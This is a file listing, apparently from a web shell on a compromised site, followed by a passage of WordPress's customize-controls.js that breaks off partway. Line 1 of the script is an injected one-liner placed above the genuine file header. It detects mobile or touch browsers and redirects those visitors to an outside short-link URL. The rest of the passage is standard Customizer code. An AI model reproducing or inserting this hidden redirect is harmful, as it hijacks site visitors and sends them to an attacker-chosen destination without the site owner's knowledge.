run:R W Run
DIR
2026-08-24 01:53:39
R W Run
3.08 KB
2026-08-13 20:01:43
R W Run
980 By
2026-08-13 20:01:43
R W Run
6.46 KB
2026-08-13 20:01:43
R W Run
3.17 KB
2026-08-13 20:01:43
R W Run
5.88 KB
2026-08-13 20:01:43
R W Run
2.25 KB
2026-08-13 20:01:43
R W Run
17.76 KB
2026-08-13 20:01:43
R W Run
3.68 KB
2026-08-13 20:01:43
R W Run
9.76 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.07 KB
2026-08-13 20:01:43
R W Run
1.5 KB
2026-08-13 20:01:43
R W Run
61.48 KB
2026-08-13 20:01:43
R W Run
23.42 KB
2026-08-13 20:01:43
R W Run
3.57 KB
2026-08-13 20:01:43
R W Run
1.39 KB
2026-08-13 20:01:43
R W Run
2.19 KB
2026-08-13 20:01:43
R W Run
288.63 KB
2026-08-13 20:01:43
R W Run
109.91 KB
2026-08-13 20:01:43
R W Run
111.68 KB
2026-08-13 20:01:43
R W Run
47.36 KB
2026-08-13 20:01:43
R W Run
70.26 KB
2026-08-13 20:01:43
R W Run
27.62 KB
2026-08-13 20:01:43
R W Run
27.23 KB
2026-08-13 20:01:43
R W Run
8.87 KB
2026-08-13 20:01:43
R W Run
37.46 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
41.82 KB
2026-08-13 20:01:43
R W Run
13.35 KB
2026-08-13 20:01:43
R W Run
44.22 KB
2026-08-13 20:01:43
R W Run
13 KB
2026-08-13 20:01:43
R W Run
7.88 KB
2026-08-13 20:01:43
R W Run
5.63 KB
2026-08-13 20:01:43
R W Run
3.87 KB
2026-08-13 20:01:43
R W Run
40.19 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
20.41 KB
2026-08-13 20:01:43
R W Run
9.58 KB
2026-08-13 20:01:43
R W Run
7.83 KB
2026-08-13 20:01:43
R W Run
3.14 KB
2026-08-13 20:01:43
R W Run
23.31 KB
2026-08-13 20:01:43
R W Run
1.09 KB
2026-08-13 20:01:43
R W Run
645 By
2026-08-13 20:01:43
R W Run
4.98 KB
2026-08-13 20:01:43
R W Run
2.48 KB
2026-08-13 20:01:43
R W Run
1.49 KB
2026-08-13 20:01:43
R W Run
833 By
2026-08-13 20:01:43
R W Run
3.6 KB
2026-08-13 20:01:43
R W Run
1.34 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
2.6 KB
2026-08-13 20:01:43
R W Run
61.37 KB
2026-08-13 20:01:43
R W Run
30.28 KB
2026-08-13 20:01:43
R W Run
4.35 KB
2026-08-13 20:01:43
R W Run
1.31 KB
2026-08-13 20:01:43
R W Run
1.52 KB
2026-08-13 20:01:43
R W Run
1.04 KB
2026-08-13 20:01:43
R W Run
7.14 KB
2026-08-13 20:01:43
R W Run
2.56 KB
2026-08-13 20:01:43
R W Run
39.75 KB
2026-08-13 20:01:43
R W Run
19.17 KB
2026-08-13 20:01:43
R W Run
18.71 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
10.88 KB
2026-08-13 20:01:43
R W Run
5.25 KB
2026-08-13 20:01:43
R W Run
34.13 KB
2026-08-13 20:01:43
R W Run
18.19 KB
2026-08-13 20:01:43
R W Run
1.07 KB
2026-08-13 20:01:43
R W Run
842 By
2026-08-13 20:01:43
R W Run
13.77 KB
2026-08-13 20:01:43
R W Run
6.54 KB
2026-08-13 20:01:43
R W Run
6.31 KB
2026-08-13 20:01:43
R W Run
2.42 KB
2026-08-13 20:01:43
R W Run
3.42 KB
2026-08-13 20:01:43
R W Run
1.75 KB
2026-08-13 20:01:43
R W Run
11.1 KB
2026-08-13 20:01:43
R W Run
3.22 KB
2026-08-13 20:01:43
R W Run
5.85 KB
2026-08-13 20:01:43
R W Run
2.43 KB
2026-08-13 20:01:43
R W Run
6.17 KB
2026-08-13 20:01:43
R W Run
2.63 KB
2026-08-13 20:01:43
R W Run
25.78 KB
2026-08-13 20:01:43
R W Run
12.04 KB
2026-08-13 20:01:43
R W Run
55.16 KB
2026-08-13 20:01:43
R W Run
26.72 KB
2026-08-13 20:01:43
R W Run
109.59 KB
2026-08-13 20:01:43
R W Run
47.52 KB
2026-08-13 20:01:43
R W Run
18.13 KB
2026-08-13 20:01:43
R W Run
8.03 KB
2026-08-13 20:01:43
R W Run
2.46 KB
2026-08-13 20:01:43
R W Run
898 By
2026-08-13 20:01:43
R W Run
22.77 KB
2026-08-13 20:01:43
R W Run
12.53 KB
2026-08-13 20:01:43
R W Run
7.73 KB
2026-08-13 20:01:43
R W Run
1.71 KB
2026-08-13 20:01:43
R W Run
962 By
2026-08-13 20:01:43
R W Run
680 By
2026-08-13 20:01:43
R W Run
error_log
📄customize-controls.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/customize-controls.js
4 */
5
6/* global _wpCustomizeHeader, _wpCustomizeBackground, _wpMediaViewsL10n, MediaElementPlayer, console, confirm */
7(function( exports, $ ){
8 var Container, focus, normalizedTransitionendEventName, api = wp.customize;
9
10 var reducedMotionMediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' );
11 var isReducedMotion = reducedMotionMediaQuery.matches;
12 reducedMotionMediaQuery.addEventListener( 'change' , function handleReducedMotionChange( event ) {
13 isReducedMotion = event.matches;
14 });
15
16 api.OverlayNotification = api.Notification.extend(/** @lends wp.customize.OverlayNotification.prototype */{
17
18 /**
19 * Whether the notification should show a loading spinner.
20 *
21 * @since 4.9.0
22 * @var {boolean}
23 */
24 loading: false,
25
26 /**
27 * A notification that is displayed in a full-screen overlay.
28 *
29 * @constructs wp.customize.OverlayNotification
30 * @augments wp.customize.Notification
31 *
32 * @since 4.9.0
33 *
34 * @param {string} code - Code.
35 * @param {Object} params - Params.
36 */
37 initialize: function( code, params ) {
38 var notification = this;
39 api.Notification.prototype.initialize.call( notification, code, params );
40 notification.containerClasses += ' notification-overlay';
41 if ( notification.loading ) {
42 notification.containerClasses += ' notification-loading';
43 }
44 },
45
46 /**
47 * Render notification.
48 *
49 * @since 4.9.0
50 *
51 * @return {jQuery} Notification container.
52 */
53 render: function() {
54 var li = api.Notification.prototype.render.call( this );
55 li.on( 'keydown', _.bind( this.handleEscape, this ) );
56 return li;
57 },
58
59 /**
60 * Stop propagation on escape key presses, but also dismiss notification if it is dismissible.
61 *
62 * @since 4.9.0
63 *
64 * @param {jQuery.Event} event - Event.
65 * @return {void}
66 */
67 handleEscape: function( event ) {
68 var notification = this;
69 if ( 27 === event.which ) {
70 event.stopPropagation();
71 if ( notification.dismissible && notification.parent ) {
72 notification.parent.remove( notification.code );
73 }
74 }
75 }
76 });
77
78 api.Notifications = api.Values.extend(/** @lends wp.customize.Notifications.prototype */{
79
80 /**
81 * Whether the alternative style should be used.
82 *
83 * @since 4.9.0
84 * @type {boolean}
85 */
86 alt: false,
87
88 /**
89 * The default constructor for items of the collection.
90 *
91 * @since 4.9.0
92 * @type {object}
93 */
94 defaultConstructor: api.Notification,
95
96 /**
97 * A collection of observable notifications.
98 *
99 * @since 4.9.0
100 *
101 * @constructs wp.customize.Notifications
102 * @augments wp.customize.Values
103 *
104 * @param {Object} options - Options.
105 * @param {jQuery} [options.container] - Container element for notifications. This can be injected later.
106 * @param {boolean} [options.alt] - Whether alternative style should be used when rendering notifications.
107 *
108 * @return {void}
109 */
110 initialize: function( options ) {
111 var collection = this;
112
113 api.Values.prototype.initialize.call( collection, options );
114
115 _.bindAll( collection, 'constrainFocus' );
116
117 // Keep track of the order in which the notifications were added for sorting purposes.
118 collection._addedIncrement = 0;
119 collection._addedOrder = {};
120
121 // Trigger change event when notification is added or removed.
122 collection.bind( 'add', function( notification ) {
123 collection.trigger( 'change', notification );
124 });
125 collection.bind( 'removed', function( notification ) {
126 collection.trigger( 'change', notification );
127 });
128 },
129
130 /**
131 * Get the number of notifications added.
132 *
133 * @since 4.9.0
134 * @return {number} Count of notifications.
135 */
136 count: function() {
137 return _.size( this._value );
138 },
139
140 /**
141 * Add notification to the collection.
142 *
143 * @since 4.9.0
144 *
145 * @param {string|wp.customize.Notification} notification - Notification object to add. Alternatively code may be supplied, and in that case the second notificationObject argument must be supplied.
146 * @param {wp.customize.Notification} [notificationObject] - Notification to add when first argument is the code string.
147 * @return {wp.customize.Notification} Added notification (or existing instance if it was already added).
148 */
149 add: function( notification, notificationObject ) {
150 var collection = this, code, instance;
151 if ( 'string' === typeof notification ) {
152 code = notification;
153 instance = notificationObject;
154 } else {
155 code = notification.code;
156 instance = notification;
157 }
158 if ( ! collection.has( code ) ) {
159 collection._addedIncrement += 1;
160 collection._addedOrder[ code ] = collection._addedIncrement;
161 }
162 return api.Values.prototype.add.call( collection, code, instance );
163 },
164
165 /**
166 * Add notification to the collection.
167 *
168 * @since 4.9.0
169 * @param {string} code - Notification code to remove.
170 * @return {api.Notification} Added instance (or existing instance if it was already added).
171 */
172 remove: function( code ) {
173 var collection = this;
174 delete collection._addedOrder[ code ];
175 return api.Values.prototype.remove.call( this, code );
176 },
177
178 /**
179 * Get list of notifications.
180 *
181 * Notifications may be sorted by type followed by added time.
182 *
183 * @since 4.9.0
184 * @param {Object} args - Args.
185 * @param {boolean} [args.sort=false] - Whether to return the notifications sorted.
186 * @return {Array.<wp.customize.Notification>} Notifications.
187 */
188 get: function( args ) {
189 var collection = this, notifications, errorTypePriorities, params;
190 notifications = _.values( collection._value );
191
192 params = _.extend(
193 { sort: false },
194 args
195 );
196
197 if ( params.sort ) {
198 errorTypePriorities = { error: 4, warning: 3, success: 2, info: 1 };
199 notifications.sort( function( a, b ) {
200 var aPriority = 0, bPriority = 0;
201 if ( ! _.isUndefined( errorTypePriorities[ a.type ] ) ) {
202 aPriority = errorTypePriorities[ a.type ];
203 }
204 if ( ! _.isUndefined( errorTypePriorities[ b.type ] ) ) {
205 bPriority = errorTypePriorities[ b.type ];
206 }
207 if ( aPriority !== bPriority ) {
208 return bPriority - aPriority; // Show errors first.
209 }
210 return collection._addedOrder[ b.code ] - collection._addedOrder[ a.code ]; // Show newer notifications higher.
211 });
212 }
213
214 return notifications;
215 },
216
217 /**
218 * Render notifications area.
219 *
220 * @since 4.9.0
221 * @return {void}
222 */
223 render: function() {
224 var collection = this,
225 notifications, hadOverlayNotification = false, hasOverlayNotification, overlayNotifications = [],
226 previousNotificationsByCode = {},
227 listElement, focusableElements;
228
229 // Short-circuit if there are no container to render into.
230 if ( ! collection.container || ! collection.container.length ) {
231 return;
232 }
233
234 notifications = collection.get( { sort: true } );
235 collection.container.toggle( 0 !== notifications.length );
236
237 // Short-circuit if there are no changes to the notifications.
238 if ( collection.container.is( collection.previousContainer ) && _.isEqual( notifications, collection.previousNotifications ) ) {
239 return;
240 }
241
242 // Make sure list is part of the container.
243 listElement = collection.container.children( 'ul' ).first();
244 if ( ! listElement.length ) {
245 listElement = $( '<ul></ul>' );
246 collection.container.append( listElement );
247 }
248
249 // Remove all notifications prior to re-rendering.
250 listElement.find( '> [data-code]' ).remove();
251
252 _.each( collection.previousNotifications, function( notification ) {
253 previousNotificationsByCode[ notification.code ] = notification;
254 });
255
256 // Add all notifications in the sorted order.
257 _.each( notifications, function( notification ) {
258 var notificationContainer;
259 if ( wp.a11y && ( ! previousNotificationsByCode[ notification.code ] || ! _.isEqual( notification.message, previousNotificationsByCode[ notification.code ].message ) ) ) {
260 wp.a11y.speak( notification.message, 'assertive' );
261 }
262 notificationContainer = $( notification.render() );
263 notification.container = notificationContainer;
264 listElement.append( notificationContainer ); // @todo Consider slideDown() as enhancement.
265
266 if ( notification.extended( api.OverlayNotification ) ) {
267 overlayNotifications.push( notification );
268 }
269 });
270 hasOverlayNotification = Boolean( overlayNotifications.length );
271
272 if ( collection.previousNotifications ) {
273 hadOverlayNotification = Boolean( _.find( collection.previousNotifications, function( notification ) {
274 return notification.extended( api.OverlayNotification );
275 } ) );
276 }
277
278 if ( hasOverlayNotification !== hadOverlayNotification ) {
279 $( document.body ).toggleClass( 'customize-loading', hasOverlayNotification );
280 collection.container.toggleClass( 'has-overlay-notifications', hasOverlayNotification );
281 if ( hasOverlayNotification ) {
282 collection.previousActiveElement = document.activeElement;
283 $( document ).on( 'keydown', collection.constrainFocus );
284 } else {
285 $( document ).off( 'keydown', collection.constrainFocus );
286 }
287 }
288
289 if ( hasOverlayNotification ) {
290 collection.focusContainer = overlayNotifications[ overlayNotifications.length - 1 ].container;
291 collection.focusContainer.prop( 'tabIndex', -1 );
292 focusableElements = collection.focusContainer.find( ':focusable' );
293 if ( focusableElements.length ) {
294 focusableElements.first().focus();
295 } else {
296 collection.focusContainer.focus();
297 }
298 } else if ( collection.previousActiveElement ) {
299 $( collection.previousActiveElement ).trigger( 'focus' );
300 collection.previousActiveElement = null;
301 }
302
303 collection.previousNotifications = notifications;
304 collection.previousContainer = collection.container;
305 collection.trigger( 'rendered' );
306 },
307
308 /**
309 * Constrain focus on focus container.
310 *
311 * @since 4.9.0
312 *
313 * @param {jQuery.Event} event - Event.
314 * @return {void}
315 */
316 constrainFocus: function constrainFocus( event ) {
317 var collection = this, focusableElements;
318
319 // Prevent keys from escaping.
320 event.stopPropagation();
321
322 if ( 9 !== event.which ) { // Tab key.
323 return;
324 }
325
326 focusableElements = collection.focusContainer.find( ':focusable' );
327 if ( 0 === focusableElements.length ) {
328 focusableElements = collection.focusContainer;
329 }
330
331 if ( ! $.contains( collection.focusContainer[0], event.target ) || ! $.contains( collection.focusContainer[0], document.activeElement ) ) {
332 event.preventDefault();
333 focusableElements.first().focus();
334 } else if ( focusableElements.last().is( event.target ) && ! event.shiftKey ) {
335 event.preventDefault();
336 focusableElements.first().focus();
337 } else if ( focusableElements.first().is( event.target ) && event.shiftKey ) {
338 event.preventDefault();
339 focusableElements.last().focus();
340 }
341 }
342 });
343
344 api.Setting = api.Value.extend(/** @lends wp.customize.Setting.prototype */{
345
346 /**
347 * Default params.
348 *
349 * @since 4.9.0
350 * @var {object}
351 */
352 defaults: {
353 transport: 'refresh',
354 dirty: false
355 },
356
357 /**
358 * A Customizer Setting.
359 *
360 * A setting is WordPress data (theme mod, option, menu, etc.) that the user can
361 * draft changes to in the Customizer.
362 *
363 * @see PHP class WP_Customize_Setting.
364 *
365 * @constructs wp.customize.Setting
366 * @augments wp.customize.Value
367 *
368 * @since 3.4.0
369 *
370 * @param {string} id - The setting ID.
371 * @param {*} value - The initial value of the setting.
372 * @param {Object} [options={}] - Options.
373 * @param {string} [options.transport=refresh] - The transport to use for previewing. Supports 'refresh' and 'postMessage'.
374 * @param {boolean} [options.dirty=false] - Whether the setting should be considered initially dirty.
375 * @param {Object} [options.previewer] - The Previewer instance to sync with. Defaults to wp.customize.previewer.
376 */
377 initialize: function( id, value, options ) {
378 var setting = this, params;
379 params = _.extend(
380 { previewer: api.previewer },
381 setting.defaults,
382 options || {}
383 );
384
385 api.Value.prototype.initialize.call( setting, value, params );
386
387 setting.id = id;
388 setting._dirty = params.dirty; // The _dirty property is what the Customizer reads from.
389 setting.notifications = new api.Notifications();
390
391 // Whenever the setting's value changes, refresh the preview.
392 setting.bind( setting.preview );
393 },
394
395 /**
396 * Refresh the preview, respective of the setting's refresh policy.
397 *
398 * If the preview hasn't sent a keep-alive message and is likely
399 * disconnected by having navigated to a non-allowed URL, then the
400 * refresh transport will be forced when postMessage is the transport.
401 * Note that postMessage does not throw an error when the recipient window
402 * fails to match the origin window, so using try/catch around the
403 * previewer.send() call to then fallback to refresh will not work.
404 *
405 * @since 3.4.0
406 * @access public
407 *
408 * @return {void}
409 */
410 preview: function() {
411 var setting = this, transport;
412 transport = setting.transport;
413
414 if ( 'postMessage' === transport && ! api.state( 'previewerAlive' ).get() ) {
415 transport = 'refresh';
416 }
417
418 if ( 'postMessage' === transport ) {
419 setting.previewer.send( 'setting', [ setting.id, setting() ] );
420 } else if ( 'refresh' === transport ) {
421 setting.previewer.refresh();
422 }
423 },
424
425 /**
426 * Find controls associated with this setting.
427 *
428 * @since 4.6.0
429 * @return {wp.customize.Control[]} Controls associated with setting.
430 */
431 findControls: function() {
432 var setting = this, controls = [];
433 api.control.each( function( control ) {
434 _.each( control.settings, function( controlSetting ) {
435 if ( controlSetting.id === setting.id ) {
436 controls.push( control );
437 }
438 } );
439 } );
440 return controls;
441 }
442 });
443
444 /**
445 * Current change count.
446 *
447 * @alias wp.customize._latestRevision
448 *
449 * @since 4.7.0
450 * @type {number}
451 * @protected
452 */
453 api._latestRevision = 0;
454
455 /**
456 * Last revision that was saved.
457 *
458 * @alias wp.customize._lastSavedRevision
459 *
460 * @since 4.7.0
461 * @type {number}
462 * @protected
463 */
464 api._lastSavedRevision = 0;
465
466 /**
467 * Latest revisions associated with the updated setting.
468 *
469 * @alias wp.customize._latestSettingRevisions
470 *
471 * @since 4.7.0
472 * @type {object}
473 * @protected
474 */
475 api._latestSettingRevisions = {};
476
477 /*
478 * Keep track of the revision associated with each updated setting so that
479 * requestChangesetUpdate knows which dirty settings to include. Also, once
480 * ready is triggered and all initial settings have been added, increment
481 * revision for each newly-created initially-dirty setting so that it will
482 * also be included in changeset update requests.
483 */
484 api.bind( 'change', function incrementChangedSettingRevision( setting ) {
485 api._latestRevision += 1;
486 api._latestSettingRevisions[ setting.id ] = api._latestRevision;
487 } );
488 api.bind( 'ready', function() {
489 api.bind( 'add', function incrementCreatedSettingRevision( setting ) {
490 if ( setting._dirty ) {
491 api._latestRevision += 1;
492 api._latestSettingRevisions[ setting.id ] = api._latestRevision;
493 }
494 } );
495 } );
496
497 /**
498 * Get the dirty setting values.
499 *
500 * @alias wp.customize.dirtyValues
501 *
502 * @since 4.7.0
503 * @access public
504 *
505 * @param {Object} [options] Options.
506 * @param {boolean} [options.unsaved=false] Whether only values not saved yet into a changeset will be returned (differential changes).
507 * @return {Object} Dirty setting values.
508 */
509 api.dirtyValues = function dirtyValues( options ) {
510 var values = {};
511 api.each( function( setting ) {
512 var settingRevision;
513
514 if ( ! setting._dirty ) {
515 return;
516 }
517
518 settingRevision = api._latestSettingRevisions[ setting.id ];
519
520 // Skip including settings that have already been included in the changeset, if only requesting unsaved.
521 if ( api.state( 'changesetStatus' ).get() && ( options && options.unsaved ) && ( _.isUndefined( settingRevision ) || settingRevision <= api._lastSavedRevision ) ) {
522 return;
523 }
524
525 values[ setting.id ] = setting.get();
526 } );
527 return values;
528 };
529
530 /**
531 * Request updates to the changeset.
532 *
533 * @alias wp.customize.requestChangesetUpdate
534 *
535 * @since 4.7.0
536 * @access public
537 *
538 * @param {Object} [changes] - Mapping of setting IDs to setting params each normally including a value property, or mapping to null.
539 * If not provided, then the changes will still be obtained from unsaved dirty settings.
540 * @param {Object} [args] - Additional options for the save request.
541 * @param {boolean} [args.autosave=false] - Whether changes will be stored in autosave revision if the changeset has been promoted from an auto-draft.
542 * @param {boolean} [args.force=false] - Send request to update even when there are no changes to submit. This can be used to request the latest status of the changeset on the server.
543 * @param {string} [args.title] - Title to update in the changeset. Optional.
544 * @param {string} [args.date] - Date to update in the changeset. Optional.
545 * @return {jQuery.Promise} Promise resolving with the response data.
546 */
547 api.requestChangesetUpdate = function requestChangesetUpdate( changes, args ) {
548 var deferred, request, submittedChanges = {}, data, submittedArgs;
549 deferred = new $.Deferred();
550
551 // Prevent attempting changeset update while request is being made.
552 if ( 0 !== api.state( 'processing' ).get() ) {
553 deferred.reject( 'already_processing' );
554 return deferred.promise();
555 }
556
557 submittedArgs = _.extend( {
558 title: null,
559 date: null,
560 autosave: false,
561 force: false
562 }, args );
563
564 if ( changes ) {
565 _.extend( submittedChanges, changes );
566 }
567
568 // Ensure all revised settings (changes pending save) are also included, but not if marked for deletion in changes.
569 _.each( api.dirtyValues( { unsaved: true } ), function( dirtyValue, settingId ) {
570 if ( ! changes || null !== changes[ settingId ] ) {
571 submittedChanges[ settingId ] = _.extend(
572 {},
573 submittedChanges[ settingId ] || {},
574 { value: dirtyValue }
575 );
576 }
577 } );
578
579 // Allow plugins to attach additional params to the settings.
580 api.trigger( 'changeset-save', submittedChanges, submittedArgs );
581
582 // Short-circuit when there are no pending changes.
583 if ( ! submittedArgs.force && _.isEmpty( submittedChanges ) && null === submittedArgs.title && null === submittedArgs.date ) {
584 deferred.resolve( {} );
585 return deferred.promise();
586 }
587
588 // A status would cause a revision to be made, and for this wp.customize.previewer.save() should be used.
589 // Status is also disallowed for revisions regardless.
590 if ( submittedArgs.status ) {
591 return deferred.reject( { code: 'illegal_status_in_changeset_update' } ).promise();
592 }
593
594 // Dates not beung allowed for revisions are is a technical limitation of post revisions.
595 if ( submittedArgs.date && submittedArgs.autosave ) {
596 return deferred.reject( { code: 'illegal_autosave_with_date_gmt' } ).promise();
597 }
598
599 // Make sure that publishing a changeset waits for all changeset update requests to complete.
600 api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 );
601 deferred.always( function() {
602 api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 );
603 } );
604
605 // Ensure that if any plugins add data to save requests by extending query() that they get included here.
606 data = api.previewer.query( { excludeCustomizedSaved: true } );
607 delete data.customized; // Being sent in customize_changeset_data instead.
608 _.extend( data, {
609 nonce: api.settings.nonce.save,
610 customize_theme: api.settings.theme.stylesheet,
611 customize_changeset_data: JSON.stringify( submittedChanges )
612 } );
613 if ( null !== submittedArgs.title ) {
614 data.customize_changeset_title = submittedArgs.title;
615 }
616 if ( null !== submittedArgs.date ) {
617 data.customize_changeset_date = submittedArgs.date;
618 }
619 if ( false !== submittedArgs.autosave ) {
620 data.customize_changeset_autosave = 'true';
621 }
622
623 // Allow plugins to modify the params included with the save request.
624 api.trigger( 'save-request-params', data );
625
626 request = wp.ajax.post( 'customize_save', data );
627
628 request.done( function requestChangesetUpdateDone( data ) {
629 var savedChangesetValues = {};
630
631 // Ensure that all settings updated subsequently will be included in the next changeset update request.
632 api._lastSavedRevision = Math.max( api._latestRevision, api._lastSavedRevision );
633
634 api.state( 'changesetStatus' ).set( data.changeset_status );
635
636 if ( data.changeset_date ) {
637 api.state( 'changesetDate' ).set( data.changeset_date );
638 }
639
640 deferred.resolve( data );
641 api.trigger( 'changeset-saved', data );
642
643 if ( data.setting_validities ) {
644 _.each( data.setting_validities, function( validity, settingId ) {
645 if ( true === validity && _.isObject( submittedChanges[ settingId ] ) && ! _.isUndefined( submittedChanges[ settingId ].value ) ) {
646 savedChangesetValues[ settingId ] = submittedChanges[ settingId ].value;
647 }
648 } );
649 }
650
651 api.previewer.send( 'changeset-saved', _.extend( {}, data, { saved_changeset_values: savedChangesetValues } ) );
652 } );
653 request.fail( function requestChangesetUpdateFail( data ) {
654 deferred.reject( data );
655 api.trigger( 'changeset-error', data );
656 } );
657 request.always( function( data ) {
658 if ( data.setting_validities ) {
659 api._handleSettingValidities( {
660 settingValidities: data.setting_validities
661 } );
662 }
663 } );
664
665 return deferred.promise();
666 };
667
668 /**
669 * Watch all changes to Value properties, and bubble changes to parent Values instance
670 *
671 * @alias wp.customize.utils.bubbleChildValueChanges
672 *
673 * @since 4.1.0
674 *
675 * @param {wp.customize.Class} instance
676 * @param {Array} properties The names of the Value instances to watch.
677 */
678 api.utils.bubbleChildValueChanges = function ( instance, properties ) {
679 $.each( properties, function ( i, key ) {
680 instance[ key ].bind( function ( to, from ) {
681 if ( instance.parent && to !== from ) {
682 instance.parent.trigger( 'change', instance );
683 }
684 } );
685 } );
686 };
687
688 /**
689 * Expand a panel, section, or control and focus on the first focusable element.
690 *
691 * @alias wp.customize~focus
692 *
693 * @since 4.1.0
694 *
695 * @param {Object} [params]
696 * @param {Function} [params.completeCallback]
697 */
698 focus = function ( params ) {
699 var construct, completeCallback, focus, focusElement, sections;
700 construct = this;
701 params = params || {};
702 focus = function () {
703 // If a child section is currently expanded, collapse it.
704 if ( construct.extended( api.Panel ) ) {
705 sections = construct.sections();
706 if ( 1 < sections.length ) {
707 sections.forEach( function ( section ) {
708 if ( section.expanded() ) {
709 section.collapse();
710 }
711 } );
712 }
713 }
714
715 var focusContainer;
716 if ( ( construct.extended( api.Panel ) || construct.extended( api.Section ) ) && construct.expanded && construct.expanded() ) {
717 focusContainer = construct.contentContainer;
718 } else {
719 focusContainer = construct.container;
720 }
721
722 focusElement = focusContainer.find( '.control-focus:first' );
723 if ( 0 === focusElement.length ) {
724 // Note that we can't use :focusable due to a jQuery UI issue. See: https://github.com/jquery/jquery-ui/pull/1583
725 focusElement = focusContainer.find( 'input, select, textarea, button, object, a[href], [tabindex]' ).filter( ':visible' ).first();
726 }
727 focusElement.focus();
728 };
729 if ( params.completeCallback ) {
730 completeCallback = params.completeCallback;
731 params.completeCallback = function () {
732 focus();
733 completeCallback();
734 };
735 } else {
736 params.completeCallback = focus;
737 }
738
739 api.state( 'paneVisible' ).set( true );
740 if ( construct.expand ) {
741 construct.expand( params );
742 } else {
743 params.completeCallback();
744 }
745 };
746
747 /**
748 * Stable sort for Panels, Sections, and Controls.
749 *
750 * If a.priority() === b.priority(), then sort by their respective params.instanceNumber.
751 *
752 * @alias wp.customize.utils.prioritySort
753 *
754 * @since 4.1.0
755 *
756 * @param {(wp.customize.Panel|wp.customize.Section|wp.customize.Control)} a
757 * @param {(wp.customize.Panel|wp.customize.Section|wp.customize.Control)} b
758 * @return {number}
759 */
760 api.utils.prioritySort = function ( a, b ) {
761 if ( a.priority() === b.priority() && typeof a.params.instanceNumber === 'number' && typeof b.params.instanceNumber === 'number' ) {
762 return a.params.instanceNumber - b.params.instanceNumber;
763 } else {
764 return a.priority() - b.priority();
765 }
766 };
767
768 /**
769 * Return whether the supplied Event object is for a keydown event but not the Enter key.
770 *
771 * @alias wp.customize.utils.isKeydownButNotEnterEvent
772 *
773 * @since 4.1.0
774 *
775 * @param {jQuery.Event} event
776 * @return {boolean}
777 */
778 api.utils.isKeydownButNotEnterEvent = function ( event ) {
779 return ( 'keydown' === event.type && 13 !== event.which );
780 };
781
782 /**
783 * Return whether the two lists of elements are the same and are in the same order.
784 *
785 * @alias wp.customize.utils.areElementListsEqual
786 *
787 * @since 4.1.0
788 *
789 * @param {Array|jQuery} listA
790 * @param {Array|jQuery} listB
791 * @return {boolean}
792 */
793 api.utils.areElementListsEqual = function ( listA, listB ) {
794 var equal = (
795 listA.length === listB.length && // If lists are different lengths, then naturally they are not equal.
796 -1 === _.indexOf( _.map( // Are there any false values in the list returned by map?
797 _.zip( listA, listB ), // Pair up each element between the two lists.
798 function ( pair ) {
799 return $( pair[0] ).is( pair[1] ); // Compare to see if each pair is equal.
800 }
801 ), false ) // Check for presence of false in map's return value.
802 );
803 return equal;
804 };
805
806 /**
807 * Highlight the existence of a button.
808 *
809 * This function reminds the user of a button represented by the specified
810 * UI element, after an optional delay. If the user focuses the element
811 * before the delay passes, the reminder is canceled.
812 *
813 * @alias wp.customize.utils.highlightButton
814 *
815 * @since 4.9.0
816 *
817 * @param {jQuery} button - The element to highlight.
818 * @param {Object} [options] - Options.
819 * @param {number} [options.delay=0] - Delay in milliseconds.
820 * @param {jQuery} [options.focusTarget] - A target for user focus that defaults to the highlighted element.
821 * If the user focuses the target before the delay passes, the reminder
822 * is canceled. This option exists to accommodate compound buttons
823 * containing auxiliary UI, such as the Publish button augmented with a
824 * Settings button.
825 * @return {Function} An idempotent function that cancels the reminder.
826 */
827 api.utils.highlightButton = function highlightButton( button, options ) {
828 var animationClass = 'button-see-me',
829 canceled = false,
830 params;
831
832 params = _.extend(
833 {
834 delay: 0,
835 focusTarget: button
836 },
837 options
838 );
839
840 function cancelReminder() {
841 canceled = true;
842 }
843
844 params.focusTarget.on( 'focusin', cancelReminder );
845 setTimeout( function() {
846 params.focusTarget.off( 'focusin', cancelReminder );
847
848 if ( ! canceled ) {
849 button.addClass( animationClass );
850 button.one( 'animationend', function() {
851 /*
852 * Remove animation class to avoid situations in Customizer where
853 * DOM nodes are moved (re-inserted) and the animation repeats.
854 */
855 button.removeClass( animationClass );
856 } );
857 }
858 }, params.delay );
859
860 return cancelReminder;
861 };
862
863 /**
864 * Get current timestamp adjusted for server clock time.
865 *
866 * Same functionality as the `current_time( 'mysql', false )` function in PHP.
867 *
868 * @alias wp.customize.utils.getCurrentTimestamp
869 *
870 * @since 4.9.0
871 *
872 * @return {number} Current timestamp.
873 */
874 api.utils.getCurrentTimestamp = function getCurrentTimestamp() {
875 var currentDate, currentClientTimestamp, timestampDifferential;
876 currentClientTimestamp = _.now();
877 currentDate = new Date( api.settings.initialServerDate.replace( /-/g, '/' ) );
878 timestampDifferential = currentClientTimestamp - api.settings.initialClientTimestamp;
879 timestampDifferential += api.settings.initialClientTimestamp - api.settings.initialServerTimestamp;
880 currentDate.setTime( currentDate.getTime() + timestampDifferential );
881 return currentDate.getTime();
882 };
883
884 /**
885 * Get remaining time of when the date is set.
886 *
887 * @alias wp.customize.utils.getRemainingTime
888 *
889 * @since 4.9.0
890 *
891 * @param {string|number|Date} datetime - Date time or timestamp of the future date.
892 * @return {number} remainingTime - Remaining time in milliseconds.
893 */
894 api.utils.getRemainingTime = function getRemainingTime( datetime ) {
895 var millisecondsDivider = 1000, remainingTime, timestamp;
896 if ( datetime instanceof Date ) {
897 timestamp = datetime.getTime();
898 } else if ( 'string' === typeof datetime ) {
899 timestamp = ( new Date( datetime.replace( /-/g, '/' ) ) ).getTime();
900 } else {
901 timestamp = datetime;
902 }
903
904 remainingTime = timestamp - api.utils.getCurrentTimestamp();
